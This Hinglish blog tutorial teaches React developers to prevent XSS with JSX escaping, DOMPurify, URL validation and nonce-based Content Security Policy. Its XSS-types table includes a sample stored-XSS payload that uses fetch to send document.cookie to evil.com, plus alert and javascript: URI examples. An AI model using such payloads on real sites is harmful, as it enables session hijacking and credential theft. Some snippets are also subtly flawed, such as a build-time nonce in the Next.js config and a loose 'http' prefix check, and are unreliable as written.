Skip to content
Security

5. React Security Hindi – XSS से कैसे बचें, CSP Implement करें

June 27, 2026 14 min read

नमस्ते दोस्तों!

स्वागत है The Easy Master पर!

आपने OWASP Top 10 aur supply chain security के बारे में सीखा। अब एक और बहुत important topic – React Security। React ek powerful framework hai, lekin kya aapko pata hai ki React bhi XSS attacks से fully secure nahi है?

Jab maine pehli baar ek production React app deploy ki, toh mujhe lagta tha ki React by default XSS-safe hai। Phir ek din mere ek friend ne mere app mein dangerouslySetInnerHTML ke through malicious script inject kar di – aur mera session cookie leak ho gaya। Us din maine React security ko seriously lena shuru kiya।

इस React security Hindi article mein main aapko sikhata hoon:

✅ XSS attacks kya hain – stored, reflected, DOM-based
✅ React ki built-in protections – JSX escaping kaise kaam karta hai
✅ Kahan vulnerabilities chhupi hoti hain – dangerouslySetInnerHTML, href, style, third-party libraries
✅ DOMPurify – user-generated HTML ko sanitize kaise karein
✅ Content Security Policy (CSP) – browser-level defense implement karein
✅ Nonce-based CSP – inline scripts ko safe kaise banayein
✅ Best practices – production-ready security tips

Chaliye React apps ko secure banana seekhte hain! 🛡️🚀

1. XSS Kya Hai? – React Apps Mein Kyun Dangerous Hai?

Cross-Site Scripting (XSS) ek injection attack hai jisme attacker malicious scripts ko trusted website mein inject karta hai। Jab user compromised page visit karta hai, toh malicious script user ke browser mein legitimate code ki tarah execute ho jati hai।

XSS attacks ke consequences:

ImpactExplanation
Session hijackingAttacker session cookies steal karke user impersonate kar sakta hai
Credential theftFake login forms se username/password capture
KeyloggingHar keystroke attacker ko bheja jata hai
PhishingLegitimate-looking content se sensitive data reveal
DefacementWebsite content alter karke misinformation spread

XSS ke teen types:

TypeDescriptionExample
Stored XSS (Persistent)Malicious script permanently stored on server (database, comments) – sabhi users ko affect karta haiGreat article! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
Reflected XSS (Non-Persistent)Script URL ya form submission mein embedded, wapas reflecthttps://yourapp.com/search?q=<script>alert(document.cookie)</script>
DOM-Based XSSVulnerability client-side code mein – payload server tak nahi pahunchtidocument.getElementById('welcome').innerHTML = 'Hello, ' + window.location.hash

2024 में, XSS vulnerabilities ने bug bounty programs mein reported सभी web security issues का 30%+ account किया। XSS abhi bhi OWASP Top 10 mein consistent rank karta hai।

2. React ki Built-in Protections – JSX Escaping कैसे काम करता है

React JSX curly braces ({}) mein render karte waqt automatically potentially dangerous characters को escape kar deta hai:

JavaScript
function UserGreeting({ userName }) {
  // Safe - React escapes the content
  return <div>Hello, {userName}!</div>;
}

// Agar userName = "<script>alert('XSS')</script>"
// React renders: Hello, &lt;script&gt;alert('XSS')&lt;/script&gt;!

React dangerous characters ko unke HTML entities mein convert kar deta hai – &lt;, &gt;, &quot;, &#x27;, &amp; – isliye script execute nahi hoti।

Lekin ye protection perfect nahi hai – kuch specific scenarios mein React automatic escaping provide nahi karta। Framework ki automatic escaping sirf first line of defense hai।

3. Kahan Vulnerabilities Chhupi Hoti Hain?

3.1 dangerouslySetInnerHTML – Sabse Bada Risk

React ka dangerouslySetInnerHTML prop HTML content ko directly DOM mein inject karta hai। Naam hi “dangerous” hai – isliye React ne intentionally ye naming rakhi hai taaki developers cautious rahein।

❌ Vulnerable:

JavaScript
function UserBio({ bio }) {
  // ❌ Direct injection – XSS risk!
  return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}
// Agar bio = '<script>alert("XSS")</script>', toh script execute ho jayegi

✅ Safe – Always sanitize:

JavaScript
import DOMPurify from 'dompurify';

function UserBio({ bio }) {
  const sanitizedBio = DOMPurify.sanitize(bio);
  return <div dangerouslySetInnerHTML={{ __html: sanitizedBio }} />;
}

Rule: dangerouslySetInnerHTML use only when absolutely necessary, and ALWAYS sanitize the HTML input before rendering। Direct .innerHTML DOM manipulation should be avoided or replaced with sanitized React-safe rendering methods。

3.2 href aur src Attributes

React href aur src attributes mein user-controlled content escape nahi karta।

❌ Vulnerable – JavaScript URI:

JavaScript
// ❌ Attacker injects: javascript:alert('XSS')
<a href={userInput}>Click me</a>

✅ Safe – Validate URL:

JavaScript
function SafeLink({ url, children }) {
  // Only allow http: and https: protocols
  const safeUrl = url?.startsWith('http') ? url : '#';
  return <a href={safeUrl}>{children}</a>;
}

3.3 style Attributes

React style objects mein user-controlled values dangerous ho sakte hain (e.g., background-image: url(javascript:alert(1)))।

❌ Vulnerable:

JavaScript
<div style={{ backgroundImage: `url(${userInput})` }} />

✅ Safe – Validate or sanitize:

JavaScript
const allowedStyles = ['color', 'fontSize', 'backgroundColor'];
// Only allow specific style properties

3.4 Third-Party Libraries

Markdown renderers, rich text editors, aur other third-party libraries XSS vulnerabilities introduce kar sakte hain agar woh sanitization nahi karte। Example: marked library – agar sahi se configure na kiya ho toh XSS risk。

4. DOMPurify – User-Generated HTML Ko Sanitize Karein

DOMPurify industry-standard XSS sanitizer hai jo dangerous HTML elements aur attributes ko strip out karta hai।

Installation

Bash
npm install dompurify

Basic Usage

JavaScript
import DOMPurify from 'dompurify';

function SafeHTML({ htmlContent }) {
  const clean = DOMPurify.sanitize(htmlContent);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Custom Configuration

JavaScript
const clean = DOMPurify.sanitize(htmlContent, {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a', 'img'],
  ALLOWED_ATTR: ['href', 'title', 'src', 'alt'],
  FORBID_ATTR: ['style', 'onerror', 'onload', 'onclick'],
});

React Hook – useSafeHTML

Custom hook banao taaki har jagah sanitization consistent rahe:

JavaScript
import { useMemo } from 'react';
import DOMPurify from 'dompurify';

function useSafeHTML(html) {
  return useMemo(() => DOMPurify.sanitize(html), [html]);
}

// Usage
function Comment({ content }) {
  const safeContent = useSafeHTML(content);
  return <div dangerouslySetInnerHTML={{ __html: safeContent }} />;
}

TypeScript – Branded Types

TypeScript branded types use karke trusted vs untrusted content enforce karo:

TypeScript
export type UntrustedString = string & { readonly __brand: 'UntrustedString' };
export type TrustedHtml = string & { readonly __brand: 'TrustedHtml' };

export function sanitizeHtml(content: UntrustedString): TrustedHtml {
  const sanitized = DOMPurify.sanitize(content);
  return sanitized as TrustedHtml;
}

// Now TypeScript will enforce sanitization!
function SafeComponent({ content }: { content: TrustedHtml }) {
  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}

5. Content Security Policy (CSP) – Browser-Level Defense

Content Security Policy (CSP) ek HTTP response header (ya meta tag) hai jo browser ko batata hai ki kaun se content sources trusted hain। Jab koi resource policy violate kare, browser block kar deta hai aur optionally violation report karta hai।

CSP React apps ke liye kyun important hai?

BenefitExplanation
XSS MitigationAttacker injected inline scripts ko block karta hai
Data Exfiltration PreventionControl karta hai ki data kahan bheja ja sakta hai
Supply Chain ProtectionLimit karta hai ki kaun si third-party scripts chal sakti hain
ComplianceSOC 2, PCI-DSS, HIPAA ke liye often required
React XSS risk reductionMozilla (2024) के अनुसार CSP React XSS risk को 78% reduce karta hai

Core CSP Directives

DirectivePurposeCommon Values
default-srcFallback for all resource types'self'
script-srcJavaScript sources'self', 'nonce-xxx', 'strict-dynamic'
style-srcCSS sources'self', 'unsafe-inline', 'nonce-xxx'
img-srcImage sources'self', data:, https:
connect-srcXHR, fetch, WebSocket'self', API URL
font-srcFont sources'self', https://fonts.gstatic.com
frame-ancestorsClickjacking defense'none'

6. CSP Implementation – Meta Tag aur HTTP Headers

HTTP headers ke through CSP set karna sabse secure aur flexible approach hai。

Express.js + Helmet:

JavaScript
const express = require('express');
const helmet = require('helmet');
const app = express();

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'"], // React CSS-in-JS requires this
      imgSrc: ["'self'", "data:", "blob:"],
      connectSrc: ["'self'", "https://api.example.com"],
      fontSrc: ["'self'", "https://fonts.gstatic.com"],
      frameAncestors: ["'none'"],
    },
  })
);

Manual Header:

JavaScript
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none';"
  );
  next();
});

NGINX:

Nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none';" always;

Method 2: HTML Meta Tag

Static hosting ke liye (where headers control nahi hai), meta tag use kar sakte ho:

HTML
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com;">

Note: frame-ancestors aur report-uri jaise directives meta tags mein ignored hote hain।

7. Nonce-Based CSP – Inline Scripts Ko Safe Banayein

React apps mein inline scripts (<script> tags) aur inline styles common hain। CSP default inline scripts ko block karta hai – isliye 'unsafe-inline' use karna padta hai, jo security weak karta hai।

Better approach: Nonce-based CSP – har request ke liye unique nonce (number used once) generate karo aur script-src mein include karo।

Server-side (Express):

JavaScript
const crypto = require('crypto');

app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce;
  
  res.setHeader(
    'Content-Security-Policy',
    `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'nonce-${nonce}';`
  );
  next();
});

React (HTML template):

HTML
<script nonce="<%= nonce %>" src="/static/js/main.js"></script>

Next.js with Custom Headers:

JavaScript
// next.config.js
const crypto = require('crypto');

const nonce = crypto.randomBytes(16).toString('base64');

const securityHeaders = [
  {
    key: 'Content-Security-Policy',
    value: `default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; style-src 'self' 'nonce-${nonce}';`,
  },
];

module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: securityHeaders,
      },
    ];
  },
};

Strict CSP – Trusted Types

2026 mein modern approach Strict CSP + Trusted Types use karna hai – 'strict-dynamic' directive ke saath, jo 'unsafe-inline' aur 'unsafe-eval' ki jagah leta hai。

text

Code
script-src 'strict-dynamic' 'nonce-${nonce}';

8. React Security Best Practices – Production-Ready Tips

✅ XSS Prevention

  1. Avoid dangerouslySetInnerHTML – unless absolutely necessary
  2. Always sanitize with DOMPurify before using dangerouslySetInnerHTML
  3. Never use innerHTML directly – use React-safe methods
  4. Sanitize user input before storing – not just before rendering
  5. Validate URLs – only allow http: and https: protocols

✅ CSP Implementation

  1. Implement CSP via HTTP headers – more secure than meta tags
  2. Use nonce-based CSP – avoid 'unsafe-inline'
  3. Use 'strict-dynamic' for modern strict CSP
  4. Test CSP in report-only mode first – Content-Security-Policy-Report-Only
  5. Monitor CSP violation reports – identify breaking changes

✅ Development Practices

  1. Use TypeScript branded types – enforce sanitization at compile time
  2. Create safe abstractions – wrapper components for dangerous operations
  3. Run ESLint security rules – eslint-plugin-react, eslint-plugin-security
  4. Regular security audits – use tools like npm audit, Snyk
  5. Keep dependencies updated – especially DOMPurify, React

✅ Production Hardening

  1. Use httpOnly, Secure, SameSite cookies – prevent session theft
  2. No secrets in client environment variables – REACT_APP_* should never contain secrets
  3. Production build only – no source maps in production
  4. Implement rate limiting – prevent brute force
  5. Set up security monitoring – error tracking, CSP violation reporting

9. Common Mistakes (aur Unka Solution!)

MistakeWhy it’s wrongSolution
Trusting React’s default escaping blindlyFramework security sirf first line of defense haiUse DOMPurify + CSP for defense in depth
Using dangerouslySetInnerHTML without sanitizationXSS vulnerabilityAlways use DOMPurify.sanitize()
Using 'unsafe-inline' in CSPWeakens CSP, XSS risk increasesUse nonce-based CSP instead
Not testing CSP before deploymentApp breaks in production, users see blank pageUse report-only mode first
Storing user input without sanitizationStored XSS riskSanitize before storing in database
Allowing javascript: URLs in hrefXSS via URLValidate URL protocol
Not sanitizing third-party library outputLibrary may have XSS vulnerabilitiesSanitize library output before rendering
No CSP violation monitoringAttacks undetectedSet up violation reporting endpoint

10. Resources – Cheat Sheet & Practice Prompts

React Security Quick Reference

RiskFix
dangerouslySetInnerHTMLAlways use DOMPurify.sanitize()
User-generated HTMLSanitize with DOMPurify before storing and rendering
Inline scripts/stylesUse nonce-based CSP
JavaScript URIsValidate URL protocols (http:, https:)
Third-party librariesAudit for XSS vulnerabilities
Session cookiesUse httpOnly, Secure, SameSite

DOMPurify + CSP Cheat Sheet

Bash
# Install DOMPurify
npm install dompurify

# Basic sanitization
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(untrustedHTML);

# CSP with Helmet (Express)
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'nonce-${nonce}'"],
    styleSrc: ["'self'", "'nonce-${nonce}'"],
  }
}));

Practice Prompts

Beginner:

  • Ek simple React component banao jo user input display kare। DOMPurify use karke input sanitize karo।
  • CSP meta tag implement karo in public/index.html। Browser console mein violations check karo।

Intermediate:

  • Express server with Helmet setup karo aur nonce-based CSP implement karo। React build serve karo। Verify ki inline scripts nonce ke saath kaam kar rahe hain।

Advanced:

  • TypeScript branded types use karke TrustedHtml type banao। SafeHTML component banao jo sirf TrustedHtml accept kare। Sanitization function implement karo jo UntrustedString → TrustedHtml convert kare।

11. FAQ

Q1: React default XSS protection sufficient hai kya?

Nahi – React sirf JSX curly braces mein escape karta hai। dangerouslySetInnerHTML, href, style, aur third-party libraries mein vulnerabilities ho sakti hain। Defense in depth approach chahiye – React escaping + DOMPurify + CSP।

Q2: DOMPurify aur CSP mein kya antar hai?

DOMPurify client-side sanitizer hai – HTML content ko clean karta hai before rendering। CSP browser-level defense hai – browser ko batata hai ki kaun se scripts chal sakte hain。Dono complementary hain – ek saath use karo。

Q3: dangerouslySetInnerHTML kab use karein?

Only when rendering trusted HTML (e.g., from your own backend) ya after sanitizing with DOMPurify। Never render unsanitized user input directly।

Q4: 'unsafe-inline' CSP mein kyun avoid karein?

'unsafe-inline' CSP ki effectiveness ko reduce karta hai – attacker injected inline scripts bhi chal sakti hain। Use nonce-based CSP instead।

Q5: CSP violation reports kaise collect karein?

Set report-uri or report-to directive in CSP। Violations एक specified endpoint par bheji jayengi। Report-only mode (Content-Security-Policy-Report-Only) se pehle test karo।

Q6: React 19 mein security improvements kya hain?

React 19 better security defaults introduce karta hai – including improved handling of dangerous props and better integration with CSP nonces। Always keep React updated to latest version।

12. Conclusion – Ab Aapki Baari!

Bahut badhiya! Aapne aaj seekh liya:

✅ React security Hindi – complete guide for XSS prevention and CSP
✅ XSS attacks – stored, reflected, DOM-based – kaise kaam karte hain
✅ React built-in protections – JSX escaping kaise kaam karta hai aur kahan fail hota hai
✅ dangerouslySetInnerHTML – kab use karein aur kab avoid
✅ DOMPurify – user-generated HTML sanitize karna
✅ Content Security Policy (CSP) – browser-level defense implement karna
✅ Nonce-based CSP – inline scripts ko safe banana
✅ Best practices – production-ready security checklist

React security ek multi-layer approach hai – automatic escaping + DOMPurify sanitization + CSP enforcement। Ek hi layer par depend mat raho – defense in depth use karo।

Aapki challenge: Apne React project mein CSP implement karo (report-only mode se start karo)। DOMPurify use karke kisi user-generated content component ko secure banao। Apna experience comment mein share karo!

Next topic kya chahiye?

  • OWASP Top 10 for APIs (API Security)?
  • Secure Coding Practices – Practical Guide?
  • JWT Security – Best Practices?

Comment mein batao!

The Easy Master ke saath React security seekhte raho। Happy securing! 🛡️🚀

Resources

Additional Resources

TheEasyMaster

Author at The Easy Master.

Related posts

Leave a Reply

Your email address will not be published. Required fields are marked *